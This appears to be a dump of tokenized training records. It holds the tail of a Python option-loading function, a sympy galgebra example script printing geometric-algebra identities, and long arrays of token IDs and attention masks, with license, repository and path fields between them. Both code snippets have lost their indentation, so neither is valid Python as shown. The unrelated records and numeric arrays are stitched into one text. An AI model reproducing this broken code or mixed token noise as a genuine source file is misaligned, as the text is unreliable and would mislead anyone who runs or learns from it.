config = ConfigParser.ConfigParser()
full_path = util.FindDataFile(options.config)
config.read(full_path)
if not config or not config.has_section('general'):
raise ValueError('Could not find usable configuration in %s (%s)' % (full_path, options.config))
general = dict(config.items('general'))
# -U implies -u
if options.site_url:
options.upload_results = True
for option in general:
if not getattr(options, option, None):
if 'timeout' in option:
value = float(general[option])
elif 'count' in option or 'num' in option or 'hide' in option:
value = int(general[option])
else:
value = general[option]
setattr(options, option, value)
for key in ('input_file', 'output_file', 'csv_file', 'input_source'):
value = getattr(options, key, None)
if value:
setattr(options, key, os.path.expanduser(value))
# This makes it easier to pass around later. Lazy-hack.
options.version = version.VERSION
return options
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
8937,
4475,
3277,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
420,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
199,
624,
16213,
436,
2112,
2897,
687,
1414,
13,
604,
503,
1101,
570,
1041,
199,
199,
363,
2502,
363,
275,
283,
84,
31672,
14630,
32,
3098,
14,
957,
334,
52,
526,
5892,
1933,
417,
14630,
3171,
421,
199,
646,
14196,
199,
646,
7392,
199,
646,
8691,
199,
646,
747,
14,
515,
199,
646,
295,
199,
646,
5228,
199,
646,
5549,
199,
199,
646,
8526,
63,
11470,
63,
7522,
199,
199,
3,
687,
10919,
63,
7522,
199,
646,
8809,
18,
199,
199,
646,
5552,
63,
1974,
199,
646,
666,
63,
4553,
199,
646,
536,
1000,
199,
646,
536,
1000,
63,
513,
199,
646,
984,
63,
28620,
199,
646,
4884,
199,
646,
1015,
199,
199,
1766,
8019,
63,
2632,
275,
283,
1014,
921,
354,
16571,
14,
31864,
14,
957,
15,
6836,
15,
13409,
4805,
199,
199,
3597,
51,
63,
2566,
63,
17626,
63,
5443,
275,
469,
523,
283,
2253,
356,
259,
788,
2253,
297,
283,
10801,
995,
523,
283,
2966,
356,
259,
788,
2966,
297,
283,
17477,
995,
523,
283,
17477,
356,
788,
17477,
995,
523,
283,
21078,
991,
356,
259,
788,
21078,
991,
297,
283,
10801,
297,
283,
4672,
995,
523,
283,
452,
356,
755,
788,
2966,
297,
283,
21078,
991,
297,
283,
6063,
297,
283,
2253,
297,
283,
10801,
297,
283,
4672,
297,
283,
1200,
297,
283,
17477,
297,
283,
27474,
297,
283,
24227,
13,
27474,
995,
523,
283,
4551,
279,
356,
221,
788,
4672,
297,
283,
6063,
297,
283,
21078,
991,
297,
283,
1200,
297,
283,
27474,
297,
283,
24227,
13,
27474,
995,
523,
283,
27474,
356,
755,
788,
27474,
297,
283,
10801,
297,
283,
4672,
297,
283,
24227,
13,
27474,
995,
523,
283,
1200,
356,
257,
788,
1200,
297,
283,
4672,
297,
283,
10801,
995,
199,
93,
199,
199,
318,
18890,
9899,
1378,
9440,
8,
409,
63,
1247,
304,
523,
3762,
275,
663,
342,
523,
367,
663,
63,
354,
315,
663,
63,
1247,
26,
272,
3762,
14,
873,
8,
409,
8,
3597,
51,
63,
2566,
63,
17626,
63,
5443,
14,
362,
8,
409,
63,
354,
12,
359,
409,
63,
354,
11845,
523,
372,
3762,
199,
199,
318,
2372,
16797,
3046,
5688,
837,
523,
408,
1002,
1006,
402,
4154,
2897,
3272,
1041,
523,
1511,
275,
6077,
16926,
14517,
342,
523,
372,
14076,
5688,
1173,
4558,
8,
1419,
9,
199,
199,
318,
6077,
16926,
14517,
8,
885,
63,
888,
63,
493,
534,
888,
15,
354,
16571,
14,
4128,
735,
523,
408,
1002,
4154,
945,
2897,
3272,
14,
819,
3033,
26,
272,
849,
63,
888,
63,
493,
26,
931,
370,
2897,
334,
7551,
506,
3847,
9,
819,
1803,
26,
272,
410,
1363,
402,
334,
14553,
909,
12,
1249,
9,
523,
408,
523,
6364,
275,
666,
63,
4553,
14,
1451,
13959,
342,
523,
492,
63,
1313,
275,
6364,
14,
1296,
2980,
4100,
342,
523,
1798,
275,
8691,
14,
14553,
342,
523,
1798,
14,
525,
63,
1422,
3654,
22,
297,
2850,
4774,
22,
63,
2118,
297,
2053,
534,
4774,
22,
63,
2118,
297,
1595,
534,
1617,
63,
2052,
297,
1720,
534,
5903,
2387,
6509,
22,
536,
8037,
358,
523,
1798,
14,
525,
63,
1422,
3654,
20,
297,
2850,
4774,
20,
63,
2118,
297,
2053,
534,
4774,
20,
63,
2118,
297,
1595,
534,
1617,
63,
2052,
297,
1720,
534,
5903,
2387,
6509,
20,
536,
8037,
358,
523,
1798,
14,
525,
63,
1422,
3654,
66,
297,
2850,
2497,
1509,
3319,
13,
8625,
297,
2053,
534,
4296,
63,
2497,
1509,
3319,
63,
8625,
297,
1595,
534,
1617,
63,
2052,
297,
1720,
534,
6476,
286,
2616,
3319,
5920,
358,
523,
1798,
14,
525,
63,
1422,
3654,
67,
297,
2850,
6063,
297,
2053,
534,
6063,
297,
849,
29,
403,
12,
1720,
534,
1084,
9023,
334,
12867,
18378,
5942,
523,
1798,
14,
525,
63,
1422,
3654,
40,
297,
2850,
2759,
13,
9665,
13,
8625,
297,
2053,
534,
2759,
63,
9665,
63,
8625,
297,
1595,
534,
1617,
63,
2052,
297,
849,
29,
797,
12,
1720,
534,
7738,
13822,
5920,
358,
523,
1798,
14,
525,
63,
1422,
3654,
39,
297,
2850,
8191,
63,
2604,
297,
2053,
534,
8191,
63,
2604,
297,
1595,
534,
1617,
63,
2052,
297,
221,
1720,
534,
10301,
2058,
12,
1325,
4215,
3062,
8752,
687,
10507,
2659,
523,
1798,
14,
525,
63,
1422,
3654,
73,
297,
2850,
1210,
297,
2053,
534,
1210,
63,
1365,
297,
1720,
7782,
6295,
1591,
1247,
687,
376,
1788,
503,
4223,
4366,
83,
3171,
450,
1656,
1987,
904,
8,
646,
63,
1313,
1724,
523,
1798,
14,
525,
63,
1422,
3654,
41,
297,
2850,
6142,
297,
2053,
534,
5871,
297,
849,
6034,
1720,
534,
33,
769,
402,
15017,
370,
511,
334,
2425,
2597,
506,
3032,
465,
2368,
5942,
523,
1798,
14,
525,
63,
1422,
3654,
74,
297,
2850,
9665,
63,
6962,
297,
2053,
534,
9665,
63,
2671,
63,
835,
297,
730,
534,
442,
297,
1720,
26431,
402,
13822,
1104,
7183,
370,
675,
358,
523,
1798,
14,
525,
63,
1422,
3654,
42,
297,
2850,
11861,
63,
6962,
297,
2053,
534,
11861,
63,
2671,
63,
835,
297,
730,
534,
442,
297,
1720,
26431,
402,
12338,
7183,
370,
675,
358,
523,
1798,
14,
525,
63,
1422,
3654,
75,
297,
2850,
5590,
63,
14595,
297,
2053,
534,
5590,
297,
849,
29,
26572,
12,
1720,
534,
10076,
315,
16155,
367,
26638,
340,
1654,
365,
17429,
991,
358,
523,
1798,
14,
525,
63,
1422,
3654
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
8937,
4475,
3277,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
420,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
199,
624,
16213,
436,
2112,
2897,
687,
1414,
13,
604,
503,
1101,
570,
1041,
199,
199,
363,
2502,
363,
275,
283,
84,
31672,
14630,
32,
3098,
14,
957,
334,
52,
526,
5892,
1933,
417,
14630,
3171,
421,
199,
646,
14196,
199,
646,
7392,
199,
646,
8691,
199,
646,
747,
14,
515,
199,
646,
295,
199,
646,
5228,
199,
646,
5549,
199,
199,
646,
8526,
63,
11470,
63,
7522,
199,
199,
3,
687,
10919,
63,
7522,
199,
646,
8809,
18,
199,
199,
646,
5552,
63,
1974,
199,
646,
666,
63,
4553,
199,
646,
536,
1000,
199,
646,
536,
1000,
63,
513,
199,
646,
984,
63,
28620,
199,
646,
4884,
199,
646,
1015,
199,
199,
1766,
8019,
63,
2632,
275,
283,
1014,
921,
354,
16571,
14,
31864,
14,
957,
15,
6836,
15,
13409,
4805,
199,
199,
3597,
51,
63,
2566,
63,
17626,
63,
5443,
275,
469,
523,
283,
2253,
356,
259,
788,
2253,
297,
283,
10801,
995,
523,
283,
2966,
356,
259,
788,
2966,
297,
283,
17477,
995,
523,
283,
17477,
356,
788,
17477,
995,
523,
283,
21078,
991,
356,
259,
788,
21078,
991,
297,
283,
10801,
297,
283,
4672,
995,
523,
283,
452,
356,
755,
788,
2966,
297,
283,
21078,
991,
297,
283,
6063,
297,
283,
2253,
297,
283,
10801,
297,
283,
4672,
297,
283,
1200,
297,
283,
17477,
297,
283,
27474,
297,
283,
24227,
13,
27474,
995,
523,
283,
4551,
279,
356,
221,
788,
4672,
297,
283,
6063,
297,
283,
21078,
991,
297,
283,
1200,
297,
283,
27474,
297,
283,
24227,
13,
27474,
995,
523,
283,
27474,
356,
755,
788,
27474,
297,
283,
10801,
297,
283,
4672,
297,
283,
24227,
13,
27474,
995,
523,
283,
1200,
356,
257,
788,
1200,
297,
283,
4672,
297,
283,
10801,
995,
199,
93,
199,
199,
318,
18890,
9899,
1378,
9440,
8,
409,
63,
1247,
304,
523,
3762,
275,
663,
342,
523,
367,
663,
63,
354,
315,
663,
63,
1247,
26,
272,
3762,
14,
873,
8,
409,
8,
3597,
51,
63,
2566,
63,
17626,
63,
5443,
14,
362,
8,
409,
63,
354,
12,
359,
409,
63,
354,
11845,
523,
372,
3762,
199,
199,
318,
2372,
16797,
3046,
5688,
837,
523,
408,
1002,
1006,
402,
4154,
2897,
3272,
1041,
523,
1511,
275,
6077,
16926,
14517,
342,
523,
372,
14076,
5688,
1173,
4558,
8,
1419,
9,
199,
199,
318,
6077,
16926,
14517,
8,
885,
63,
888,
63,
493,
534,
888,
15,
354,
16571,
14,
4128,
735,
523,
408,
1002,
4154,
945,
2897,
3272,
14,
819,
3033,
26,
272,
849,
63,
888,
63,
493,
26,
931,
370,
2897,
334,
7551,
506,
3847,
9,
819,
1803,
26,
272,
410,
1363,
402,
334,
14553,
909,
12,
1249,
9,
523,
408,
523,
6364,
275,
666,
63,
4553,
14,
1451,
13959,
342,
523,
492,
63,
1313,
275,
6364,
14,
1296,
2980,
4100,
342,
523,
1798,
275,
8691,
14,
14553,
342,
523,
1798,
14,
525,
63,
1422,
3654,
22,
297,
2850,
4774,
22,
63,
2118,
297,
2053,
534,
4774,
22,
63,
2118,
297,
1595,
534,
1617,
63,
2052,
297,
1720,
534,
5903,
2387,
6509,
22,
536,
8037,
358,
523,
1798,
14,
525,
63,
1422,
3654,
20,
297,
2850,
4774,
20,
63,
2118,
297,
2053,
534,
4774,
20,
63,
2118,
297,
1595,
534,
1617,
63,
2052,
297,
1720,
534,
5903,
2387,
6509,
20,
536,
8037,
358,
523,
1798,
14,
525,
63,
1422,
3654,
66,
297,
2850,
2497,
1509,
3319,
13,
8625,
297,
2053,
534,
4296,
63,
2497,
1509,
3319,
63,
8625,
297,
1595,
534,
1617,
63,
2052,
297,
1720,
534,
6476,
286,
2616,
3319,
5920,
358,
523,
1798,
14,
525,
63,
1422,
3654,
67,
297,
2850,
6063,
297,
2053,
534,
6063,
297,
849,
29,
403,
12,
1720,
534,
1084,
9023,
334,
12867,
18378,
5942,
523,
1798,
14,
525,
63,
1422,
3654,
40,
297,
2850,
2759,
13,
9665,
13,
8625,
297,
2053,
534,
2759,
63,
9665,
63,
8625,
297,
1595,
534,
1617,
63,
2052,
297,
849,
29,
797,
12,
1720,
534,
7738,
13822,
5920,
358,
523,
1798,
14,
525,
63,
1422,
3654,
39,
297,
2850,
8191,
63,
2604,
297,
2053,
534,
8191,
63,
2604,
297,
1595,
534,
1617,
63,
2052,
297,
221,
1720,
534,
10301,
2058,
12,
1325,
4215,
3062,
8752,
687,
10507,
2659,
523,
1798,
14,
525,
63,
1422,
3654,
73,
297,
2850,
1210,
297,
2053,
534,
1210,
63,
1365,
297,
1720,
7782,
6295,
1591,
1247,
687,
376,
1788,
503,
4223,
4366,
83,
3171,
450,
1656,
1987,
904,
8,
646,
63,
1313,
1724,
523,
1798,
14,
525,
63,
1422,
3654,
41,
297,
2850,
6142,
297,
2053,
534,
5871,
297,
849,
6034,
1720,
534,
33,
769,
402,
15017,
370,
511,
334,
2425,
2597,
506,
3032,
465,
2368,
5942,
523,
1798,
14,
525,
63,
1422,
3654,
74,
297,
2850,
9665,
63,
6962,
297,
2053,
534,
9665,
63,
2671,
63,
835,
297,
730,
534,
442,
297,
1720,
26431,
402,
13822,
1104,
7183,
370,
675,
358,
523,
1798,
14,
525,
63,
1422,
3654,
42,
297,
2850,
11861,
63,
6962,
297,
2053,
534,
11861,
63,
2671,
63,
835,
297,
730,
534,
442,
297,
1720,
26431,
402,
12338,
7183,
370,
675,
358,
523,
1798,
14,
525,
63,
1422,
3654,
75,
297,
2850,
5590,
63,
14595,
297,
2053,
534,
5590,
297,
849,
29,
26572,
12,
1720,
534,
10076,
315,
16155,
367,
26638,
340,
1654,
365,
17429,
991,
358,
523,
1798,
14,
525,
63,
1422,
3654,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
liangjiaxing/sympy
|
examples/galgebra/print_check_latex.py
|
72
|
5127
|
#!/usr/bin/env python
from __future__ import print_function
from sympy import sin, cos, sinh, cosh, symbols, expand, simplify
from sympy.galgebra import xdvi
from sympy.galgebra import MV, Format, Com
def main():
Format()
(ex, ey, ez) = MV.setup('e*x|y|z')
A = MV('A', 'mv')
print(r'\bm{A} =', A)
A.Fmt(2, r'\bm{A}')
A.Fmt(3, r'\bm{A}')
X = (x, y, z) = symbols('x y z')
(ex, ey, ez, grad) = MV.setup('e_x e_y e_z', metric='[1,1,1]', coords=X)
f = MV('f', 'scalar', fct=True)
A = MV('A', 'vector', fct=True)
B = MV('B', 'grade2', fct=True)
print(r'\bm{A} =', A)
print(r'\bm{B} =', B)
print('grad*f =', grad*f)
print(r'grad|\bm{A} =', grad | A)
print(r'grad*\bm{A} =', grad*A)
print(r'-I*(grad^\bm{A}) =', -MV.I*(grad ^ A))
print(r'grad*\bm{B} =', grad*B)
print(r'grad^\bm{B} =', grad ^ B)
print(r'grad|\bm{B} =', grad | B)
(a, b, c, d) = MV.setup('a b c d')
print('g_{ij} =', MV.metric)
print('\\bm{a|(b*c)} =', a | (b*c))
print('\\bm{a|(b^c)} =', a | (b ^ c))
print('\\bm{a|(b^c^d)} =', a | (b ^ c ^ d))
print('\\bm{a|(b^c)+c|(a^b)+b|(c^a)} =', (a | (b ^ c)) + (c | (a ^ b)) + (b | (c ^ a)))
print('\\bm{a*(b^c)-b*(a^c)+c*(a^b)} =', a*(b ^ c) - b*(a ^ c) + c*(a ^ b))
print('\\bm{a*(b^c^d)-b*(a^c^d)+c*(a^b^d)-d*(a^b^c)} =', a*(b ^ c ^ d) - b*(a ^ c ^ d) + c*(a ^ b ^ d) - d*(a ^ b ^ c))
print('\\bm{(a^b)|(c^d)} =', (a ^ b) | (c ^ d))
print('\\bm{((a^b)|c)|d} =', ((a ^ b) | c) | d)
print('\\bm{(a^b)\\times (c^d)} =', Com(a ^ b, c ^ d))
metric = '1 # #,' + \
'# 1 #,' + \
'# # 1,'
(e1, e2, e3) = MV.setup('e1 e2 e3', metric)
E = e1 ^ e2 ^ e3
Esq = (E*E).scalar()
print('E =', E)
print('%E^{2} =', Esq)
Esq_inv = 1/Esq
E1 = (e2 ^ e3)*E
E2 = (-1)*(e1 ^ e3)*E
E3 = (e1 ^ e2)*E
print('E1 = (e2^e3)*E =', E1)
print('E2 =-(e1^e3)*E =', E2)
print('E3 = (e1^e2)*E =', E3)
print('E1|e2 =', (E1 | e2).expand())
print('E1|e3 =', (E1 | e3).expand())
print('E2|e1 =', (E2 | e1).expand())
print('E2|e3 =', (E2 | e3).expand())
print('E3|e1 =', (E3 | e1).expand())
print('E3|e2 =', (E3 | e2).expand())
w = ((E1 | e1).expand()).scalar()
Esq = expand(Esq)
print('%(E1\\cdot e1)/E^{2} =', simplify(w/Esq))
w = ((E2 | e2).expand()).scalar()
print('%(E2\\cdot e2)/E^{2} =', simplify(w/Esq))
w = ((E3 | e3).expand()).scalar()
print('%(E3\\cdot e3)/E^{2} =', simplify(w/Esq))
X = (r, th, phi) = symbols('r theta phi')
curv = [[r*cos(phi)*sin(th), r*sin(phi)*sin(th), r*cos(th)], [1, r, r*sin(th)]]
(er, eth, ephi, grad) = MV.setup('e_r e_theta e_phi', metric='[1,1,1]', coords=X, curv=curv)
f = MV('f', 'scalar', fct=True)
A = MV('A', 'vector', fct=True)
B = MV('B', 'grade2', fct=True)
print('A =', A)
print('B =', B)
print('grad*f =', grad*f)
print('grad|A =', grad | A)
print('-I*(grad^A) =', -MV.I*(grad ^ A))
print('grad^B =', grad ^ B)
vars = symbols('t x y z')
(g0, g1, g2, g3, grad) = MV.setup('gamma*t|x|y|z', metric='[1,-1,-1,-1]', coords=vars)
I = MV.I
B = MV('B', 'vector', fct=True)
E = MV('E', 'vector', fct=True)
B.set_coef(1, 0, 0)
E.set_coef(1, 0, 0)
B *= g0
E *= g0
J = MV('J', 'vector', fct=True)
F = E + I*B
print('B = \\bm{B\\gamma_{t}} =', B)
print('E = \\bm{E\\gamma_{t}} =', E)
print('F = E+IB =', F)
print('J =', J)
gradF = grad*F
gradF.Fmt(3, 'grad*F')
print('grad*F = J')
(gradF.grade(1) - J).Fmt(3, '%\\grade{\\nabla F}_{1} -J = 0')
(gradF.grade(3)).Fmt(3, '%\\grade{\\nabla F}_{3} = 0')
(alpha, beta, gamma) = symbols('alpha beta gamma')
(x, t, xp, tp) = symbols("x t x' t'")
(g0, g1) = MV.setup('gamma*t|x', metric='[1,-1]')
R = cosh(alpha/2) + sinh(alpha/2)*(g0 ^ g1)
X = t*g0 + x*g1
Xp = tp*g0 + xp*g1
print('R =', R)
print(r"#%t\bm{\gamma_{t}}+x\bm{\gamma_{x}} = t'\bm{\gamma'_{t}}+x'\bm{\gamma'_{x}} = R\lp t'\bm{\gamma_{t}}+x'\bm{\gamma_{x}}\rp R^{\dagger}")
Xpp = R*Xp*R.rev()
Xpp = Xpp.collect([xp, tp])
Xpp = Xpp.subs({2*sinh(alpha/2)*cosh(alpha/2): sinh(alpha), sinh(alpha/2)**2 + cosh(alpha/2)**2: cosh(alpha)})
print(r"%t\bm{\gamma_{t}}+x\bm{\gamma_{x}} =", Xpp)
Xpp = Xpp.subs({sinh(alpha): gamma*beta, cosh(alpha): gamma})
print(r'%\f{\sinh}{\alpha} = \gamma\beta')
print(r'%\f{\cosh}{\alpha} = \gamma')
print(r"%t\bm{\gamma_{t}}+x\bm{\gamma_{x}} =", Xpp.collect(gamma))
vars = symbols('t x y z')
(g0, g1, g2, g3, grad) = MV.setup('gamma*t|x|y|z', metric='[1,-1,-1,-1]', coords=vars)
I = MV.I
(m, e) = symbols('m e')
psi = MV('psi', 'spinor', fct=True)
A = MV('A', 'vector', fct=True)
sig_z = g3*g0
print('\\bm{A} =', A)
print('\\bm{\\psi} =', psi)
dirac_eq = (grad*psi)*I*sig_z - e*A*psi - m*psi*g0
dirac_eq.simplify()
dirac_eq.Fmt(3, r'\nabla \bm{\psi} I \sigma_{z}-e\bm{A}\bm{\psi}-m\bm{\psi}\gamma_{t} = 0')
xdvi()
return
if __name__ == "__main__":
main()
|
bsd-3-clause
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
504,
5840,
492,
9829,
12,
9794,
12,
9829,
72,
12,
512,
609,
12,
6698,
12,
6544,
12,
15037,
199,
504,
5840,
14,
27074,
19355,
492,
671,
68,
433,
199,
504,
5840,
14,
27074,
19355,
492,
603,
54,
12,
9701,
12,
5429,
199,
199,
318,
2446,
837,
272,
9701,
342,
339,
334,
476,
12,
325,
89,
12,
325,
90,
9,
275,
603,
54,
14,
2758,
360,
69,
10,
88,
92,
89,
92,
90,
358,
272,
437,
275,
603,
54,
360,
33,
297,
283,
12393,
358,
272,
870,
8,
82,
1154,
12648,
91,
33,
93,
28414,
437,
9,
272,
437,
14,
38,
2037,
8,
18,
12,
519,
1154,
12648,
91,
33,
12216,
272,
437,
14,
38,
2037,
8,
19,
12,
519,
1154,
12648,
91,
33,
12216,
339,
1323,
275,
334,
88,
12,
612,
12,
1315,
9,
275,
6698,
360,
88,
612,
1315,
358,
272,
334,
476,
12,
325,
89,
12,
325,
90,
12,
7659,
9,
275,
603,
54,
14,
2758,
360,
69,
63,
88,
325,
63,
89,
325,
63,
90,
297,
6370,
30845,
17,
12,
17,
12,
17,
4300,
13259,
29,
56,
9,
339,
289,
275,
603,
54,
360,
70,
297,
283,
7033,
297,
289,
319,
29,
549,
9,
272,
437,
275,
603,
54,
360,
33,
297,
283,
4106,
297,
289,
319,
29,
549,
9,
272,
699,
275,
603,
54,
360,
34,
297,
283,
4523,
18,
297,
289,
319,
29,
549,
9,
339,
870,
8,
82,
1154,
12648,
91,
33,
93,
28414,
437,
9,
272,
870,
8,
82,
1154,
12648,
91,
34,
93,
28414,
699,
9,
339,
870,
360,
6017,
10,
70,
28414,
7659,
10,
70,
9,
272,
870,
8,
82,
7,
6017,
6113,
12648,
91,
33,
93,
28414,
7659,
1204,
437,
9,
272,
870,
8,
82,
7,
6017,
7590,
12648,
91,
33,
93,
28414,
7659,
10,
33,
9,
339,
870,
8,
82,
12418,
41,
5830,
6017,
12773,
12648,
91,
33,
1552,
28414,
446,
25875,
14,
41,
5830,
6017,
7167,
437,
430,
272,
870,
8,
82,
7,
6017,
7590,
12648,
91,
34,
93,
28414,
7659,
10,
34,
9,
272,
870,
8,
82,
7,
6017,
12773,
12648,
91,
34,
93,
28414,
7659,
7167,
699,
9,
272,
870,
8,
82,
7,
6017,
6113,
12648,
91,
34,
93,
28414,
7659,
1204,
699,
9,
339,
334,
65,
12,
330,
12,
286,
12,
366,
9,
275,
603,
54,
14,
2758,
360,
65,
330,
286,
366,
358,
339,
870,
360,
71,
7348,
7879,
93,
28414,
603,
54,
14,
5165,
9,
339,
870,
11671,
12648,
91,
65,
92,
8,
66,
10,
67,
6769,
28414,
282,
1204,
334,
66,
10,
67,
430,
272,
870,
11671,
12648,
91,
65,
92,
8,
66,
62,
67,
6769,
28414,
282,
1204,
334,
66,
7167,
286,
430,
272,
870,
11671,
12648,
91,
65,
92,
8,
66,
62,
67,
62,
68,
6769,
28414,
282,
1204,
334,
66,
7167,
286,
7167,
366,
430,
272,
870,
11671,
12648,
91,
65,
92,
8,
66,
62,
67,
6393,
67,
92,
8,
65,
62,
66,
6393,
66,
92,
8,
67,
62,
65,
6769,
28414,
334,
65,
1204,
334,
66,
7167,
286,
430,
435,
334,
67,
1204,
334,
65,
7167,
330,
430,
435,
334,
66,
1204,
334,
67,
7167,
282,
1724,
272,
870,
11671,
12648,
91,
65,
5830,
66,
62,
67,
7216,
66,
5830,
65,
62,
67,
6393,
67,
5830,
65,
62,
66,
6769,
28414,
282,
5830,
66,
7167,
286,
9,
446,
330,
5830,
65,
7167,
286,
9,
435,
286,
5830,
65,
7167,
330,
430,
272,
870,
11671,
12648,
91,
65,
5830,
66,
62,
67,
62,
68,
7216,
66,
5830,
65,
62,
67,
62,
68,
6393,
67,
5830,
65,
62,
66,
62,
68,
7216,
68,
5830,
65,
62,
66,
62,
67,
6769,
28414,
282,
5830,
66,
7167,
286,
7167,
366,
9,
446,
330,
5830,
65,
7167,
286,
7167,
366,
9,
435,
286,
5830,
65,
7167,
330,
7167,
366,
9,
446,
366,
5830,
65,
7167,
330,
7167,
286,
430,
272,
870,
11671,
12648,
91,
8,
65,
62,
66,
8636,
8,
67,
62,
68,
6769,
28414,
334,
65,
7167,
330,
9,
1204,
334,
67,
7167,
366,
430,
272,
870,
11671,
12648,
91,
1332,
65,
62,
66,
8636,
67,
8636,
68,
93,
28414,
3666,
65,
7167,
330,
9,
1204,
286,
9,
1204,
366,
9,
272,
870,
11671,
12648,
91,
8,
65,
62,
66,
22532,
4508,
334,
67,
62,
68,
6769,
28414,
5429,
8,
65,
7167,
330,
12,
286,
7167,
366,
430,
339,
6370,
275,
283,
17,
327,
327,
2584,
435,
971,
1467,
3943,
413,
327,
2584,
435,
971,
1467,
3943,
327,
413,
2584,
339,
334,
69,
17,
12,
325,
18,
12,
325,
19,
9,
275,
603,
54,
14,
2758,
360,
69,
17,
325,
18,
325,
19,
297,
6370,
9,
339,
662,
275,
325,
17,
7167,
325,
18,
7167,
325,
19,
272,
662,
3526,
275,
334,
37,
10,
37,
680,
7033,
342,
272,
870,
360,
37,
28414,
662,
9,
272,
870,
3508,
37,
11683,
18,
93,
28414,
662,
3526,
9,
272,
662,
3526,
63,
5350,
275,
413,
15,
37,
3526,
339,
662,
17,
275,
334,
69,
18,
7167,
325,
19,
3342,
37,
272,
662,
18,
275,
5868,
17,
14397,
69,
17,
7167,
325,
19,
3342,
37,
272,
662,
19,
275,
334,
69,
17,
7167,
325,
18,
3342,
37,
339,
870,
360,
37,
17,
275,
334,
69,
18,
62,
69,
19,
3342,
37,
28414,
662,
17,
9,
272,
870,
360,
37,
18,
275,
15426,
69,
17,
62,
69,
19,
3342,
37,
28414,
662,
18,
9,
272,
870,
360,
37,
19,
275,
334,
69,
17,
62,
69,
18,
3342,
37,
28414,
662,
19,
9,
339,
870,
360,
37,
17,
92,
69,
18,
28414,
334,
37,
17,
1204,
325,
18,
680,
4441,
1012,
272,
870,
360,
37,
17,
92,
69,
19,
28414,
334,
37,
17,
1204,
325,
19,
680,
4441,
1012,
272,
870,
360,
37,
18,
92,
69,
17,
28414,
334,
37,
18,
1204,
325,
17,
680,
4441,
1012,
272,
870,
360,
37,
18,
92,
69,
19,
28414,
334,
37,
18,
1204,
325,
19,
680,
4441,
1012,
272,
870,
360,
37,
19,
92,
69,
17,
28414,
334,
37,
19,
1204,
325,
17,
680,
4441,
1012,
272,
870,
360,
37,
19,
92,
69,
18,
28414
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
504,
5840,
492,
9829,
12,
9794,
12,
9829,
72,
12,
512,
609,
12,
6698,
12,
6544,
12,
15037,
199,
504,
5840,
14,
27074,
19355,
492,
671,
68,
433,
199,
504,
5840,
14,
27074,
19355,
492,
603,
54,
12,
9701,
12,
5429,
199,
199,
318,
2446,
